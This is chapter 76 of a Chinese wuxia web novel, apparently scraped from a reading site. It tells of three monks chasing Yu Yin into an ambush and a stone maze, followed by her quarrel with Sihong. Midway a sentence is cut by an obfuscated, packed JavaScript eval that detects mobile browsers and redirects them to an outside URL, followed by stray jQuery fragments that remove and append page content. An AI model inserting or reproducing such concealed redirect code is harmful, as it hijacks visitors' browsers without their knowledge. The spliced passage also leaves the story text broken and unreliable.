76. 第七十六章

作品:《琴深几许

    三僧全力以赴,却不知怎地,始终难以迫近虞音。三乘轿子早已被远远抛在后方,再不能近前。


    虞音得司无双指点轻功窍要,此时已大有进境,不过如此一来,也必将加剧内力的耗损。


    司无双有突破一重后的大梦无照功为根基,几乎可以忽视掉这些,可虞音不行,她如此施展轻功坚持不了多久。


    这在那日晚间二人便已计议过,是以在三僧到来之前,虞音先将轻雪牵至远处,待敌人追来,让它先行奔跑起来。


    此时三僧在后紧追不舍,虞音奔出里许,方追上轻雪,翩然上鞍。这马已然自行驱至极处,真如黑色闪电掠过荒野,丝毫未给敌人可乘之隙。


    见贪对二僧说道,“如此下去并非长久之计,不如先回轿子,马力有尽时,咱们迟早赶上!”真气就这么稍一外泄,身形便已缓了缓。


    他所选廿四名抬轿僧众,尽是脚力非凡之辈,平日里修行的便也是以持久为主的功夫。见贪对他们颇有信心,有意以此消耗马匹的体力,待其势竭,再与师兄二人联手制敌。


    见痴急于同红衣女子交手,当即道,“且待我上前一试!”


    话声甫落,提气纵身,倏地疾射而出,借着身形前冲之势,凌空一道阿赖耶劫指泛着幽幽蓝光,直点马背。


    轻雪闻得破空之声,向左首边一跃,那道指力“当”地一声击在青石道上,火星四溅。


    见痴瞧得这马纵横跳跃之际竟不减速!他指力方出,身形在空中微顿,转眼已被甩开二三十丈。


    这老僧却也不虚,指劲未收,真气已转,倏地一下又窜了出去,衔接如行云流水。


    可如此身法却也不能持久追击,连出四五指皆被轻雪避过,见痴只得收势,待二僧赶至再作计较。


    三僧会合,却见红影黑马并未远去,只在二三十丈外不紧不慢地奔行,见贪劝道,“此马神骏非凡,料想这女娃有心以此消耗我等真力,切不可中其下怀!”


    见嗔、见痴二僧闻言俱是一凛,都觉他所言有理。


    见贪忽地又道,“咦!?这女娃前面好似还有一人!”


    二僧凝目望去,可不是真有一个人影在前,离这红衣女子十来丈远。


    见痴言道,“此事定有蹊跷,二位师弟,我们先回轿子,慢慢和她耗!”


    见嗔在三僧中耐力最不能久持,纵是气的满面赤红,行运真气时也未敢开口说话。


    既然意见达成一致,见贪、见嗔、见痴三僧当即身形倒纵,如雁归巢般各回各轿。


    且不说耽搁这么久,这廿四僧众轻功也定然比不上见贪师兄弟三人,可眼前这红影却仍在二三十丈外未曾远去。


    如此一来,更是让见贪大为疑心。


    一群和尚又追出十里,但闻见痴一声令下,尽皆止步不前,“二位师弟,前面地势凶险异常,贸然前往恐遭埋伏。”


    虞音亦勒马回身,将天音壁徐徐送来干扰。


    众僧运功抵抗,眼见着前面红色身影停在两道山的夹缝当中,见嗔怒道,“纵有千军万马,我三人又有何惧?”


    见贪言道,“此女有意将我等引至此处,师兄不得不防。”


    见嗔喝道,“她既已在此,我三人还能看着她走了不成?她马匹此时也应疲累了,我等步行追一阵子!”


    说罢提气纵身,当先朝一线天之地掠去。


    见痴亦道,“管不了这许多了,纵有埋伏,也跟他们大战一场,我倒要看看谁敢拦我三人!走!”


    一声令下,见贪同廿四僧众齐向两座山之间的山道扑去。


    虞音早在见嗔动身时便已调转马头而走,此时已深入其中。


    见嗔运足真气,全力相追,只待迫近,一指将那红色身影连人带马击翻!


    待到后面僧众尽数跟了进来,但见山上弓弩齐发,火箭如雨,滚木雷石与易燃之物铺天盖地倾泻而下。


    众僧却也不慌,见痴与见贪竟毫不顾忌前方见嗔深陷其中,回身与廿四僧冲开退路,好似那见嗔绝无危险一般。


    这见嗔确非等闲,他既然夸口不惧千军万马,自是有其道理。此刻意识神劫指红光布满山间夹缝,凡是箭矢木石触及指风,便即在空中化为灰烬。


    但弓箭礌石之多,饶是被三僧击毁不少,却也将来路彻底封死,三乘轿子那也是别想幸存了,尽数埋在石堆之下。


    这箭石火雨来得快,没得倒也快,见嗔兀自朝天上连点,却哪里还有物事给他打?只击得两侧山壁隆隆作响。


    他怒喝道,“雕虫小技,岂能阻我!?”身形拔地而起,在峭壁间腾挪借力,没一会便已登至山顶。


    只见四五十骑分作两路,已驰出里许,他复又纵身下山,欲与见痴、见贪商议。


    此时僧众退路被阻断,索性继续追赶,已出了山间细道。见痴深知上面纵是大罗神仙也绝非见嗔对手,是以并不等他,眼下甫一会合便急道,


    “这红衣女子要逃,我们速追!”


    平日里三僧中唯以见痴最为老成持重,他又是大师兄,此时都这般说,二僧又哪里再有迟疑?


    况且眼见这红衣女子逃走,并不似方才那般只在二三十丈之地外若即若离,足以断定她是看见自己设下的圈套不奏效,这才飞马逃走。


    三僧没了轿辇,当即轻功而追,如此全力急赶,身后廿四僧众又哪里跟得上?转眼已被抛得不见踪影。


    似这般又追出二十余里路程,却怎么也跟不上前面红色身影,三僧只觉她前方好似还有个倒影一般,始终距她十丈开外,以相同的速度行进。


    时间一久,见痴不知是眼花还是怎地,瞧见前面那女子分明是在不疾不徐的策马缓行,可他与见贪、见嗔已是在全力奔走,无论他们如何追赶,就是无法接近。


    再看之下,更是一惊,那女子已与马匹立在原地不动,背身相对,马尾悠然的左拍右打,便像是个白日里的红色鬼影般,在二十来丈外,触不到摸不着。


    见痴停步不前,二僧见状亦停了下来,“二位师弟,你们可曾瞧见了?怎会发生这等奇事?”


    三僧只顾向前面红影而瞧,见贪道,“我也早已发现,莫不是咱们遇见了亡魂?”


    见嗔不服,怒道,“难道我们还信甚么鬼神之说么?我再去追!”言罢又窜了出去。


    见痴、见贪亦紧随而上,三僧心里料定,这般忽然急追,纵使你马再快,又如何能在瞬息间逃脱?


    可直奔出数十丈后,那红影不但不逃,仍是立在当地未动,仍是距他们二十余丈。


    此番见贪、见嗔、见痴三僧惊的不轻,背脊俱生寒意,只觉周遭阴风阵阵,怪石嶙峋。


    见贪问道,“何时现出这许多大石?”


    见痴上前细辩,只见这些怪石矮者及腰,高者丈许,皆是由无数小石搭建而成,看似散乱无章,实则暗含五行八卦的法门。


    再看来路时,早已隐没石阵之中,不知出口在何处。


    见嗔怒吼一声,朝巨石点去,只听砰然巨响,那怪石被意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822835|185990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    识神劫指戳个洞出来,后面却仍是一块怪石。见嗔怒气冲天,又一连点碎数块,见痴急忙阻道,


    “且省些内力!眼下破得石阵才是关键。”


    见贪忽道,“不好!那红衣女子不见了!”


    三僧此时再向前看去,却哪里还有甚么人影?


    见嗔厉声道,“管他甚么阵!我三人只朝一个方向将阻路的石头击碎,量他甚么阵也破得!”


    此时见贪、见痴也别无他法,只得依见嗔所言。三僧随即将西首一片石堆尽数点碎,复又继续向西,凡再遇石堆阻路,便即击碎。


    如此破了数座之后,三僧只觉眼前巨石或是坚硬,或是柔软,平日在外面随意便可击破的石头,此时却变得艰难异常,指力如泥牛入海,三人合力猛攻许久,才将眼前这座一丈高的石堆打去小半截。


    见痴连忙叫住二僧,“且慢动手!这里有古怪,切不可再妄动真气!”


    正说之间,一阵阴风卷着浓雾四合而来,将三僧吞没其中。立时便不知是黑夜还是白昼,周遭景象陷入混沌迷蒙当中!风声呜咽如泣…


    ***


    思鸿见三僧深陷石阵,这才从十丈外来到虞音身前,含笑问道,


    “熟悉么?”


    说着自怀中取出一张图纸,正是那日在听风崖时,虞音要他背下来的山谷出入图。


    虞音接过一瞧,顿时便明白了,心下想着,他竟这般看重自己给的东西,还能将它用在这等关键所在,不由暗生暖意,嘴角止不住地上扬,却仍是佯作生气,


    “我可是教你背下来,你揣在怀里,时时对照着看,算甚么本事!”说罢浅浅一笑,瞪了他一眼。


    “这阵法较之各处山庄前的石阵不知要精妙多少,直到现在我也分不清那里是天然还是人力而为。”思鸿看向石阵,续道,“倘若不是这么对照着摆放,单凭记忆,那无论如何也完不成。”


    “甚么时候建的?”虞音问道。


    思鸿笑道,“我整日都在你身边,除了给你写信的那日还会是哪日?”


    虞音瞪着他,说道,“你骗我。”


    思鸿大惊,“我哪里有骗你?”


    “这般多石堆,你只带了一百人,如何能在一日完工?”虞音仍是瞪着他,又问,“你不是还要建那个屋子?”


    “哈哈…我与秦天秦佑带一百人,岂会只为建那一处房屋?”思鸿笑了笑,又道,“那屋子交给二十人足矣,余下兄弟皆来此处,我按图画出方位,忙了一天才算完。他们按我所画,不知用了几日才完成,总之现在是生效啦。”


    虞音鼓起了腮帮,牵过轻雪转身便走,这里她自是闭着眼睛也能走得出去。


    思鸿连忙紧随其后,小心伺候,试探着问道,“那…咱们现在去哪?”


    虞音半晌不理他,忽驻足道,“你为甚么不事先告诉我有石阵?害得我白白担心。”


    思鸿嘿嘿一笑,说道,“不是你说的,做戏做全套么?我是怕骗不过这三个老和尚。”


    “害怕骗不过他们,便来骗我对罢?”虞音又问。


    思鸿嗅到一丝不妙,连忙上前牵过她双手,深深的望着她,歉然道,“是我考虑不周全了,对不住。”


    “对不住,对不住,你只会说对不住,下次却还是这样。”虞音将目光躲开,不去看他,沉吟片刻续道,


    “你总是对的,你顾全大局,骗了我又有甚么关系?”


    语声渐微,说罢轻轻抽回双手,翻身上马,向西南行去…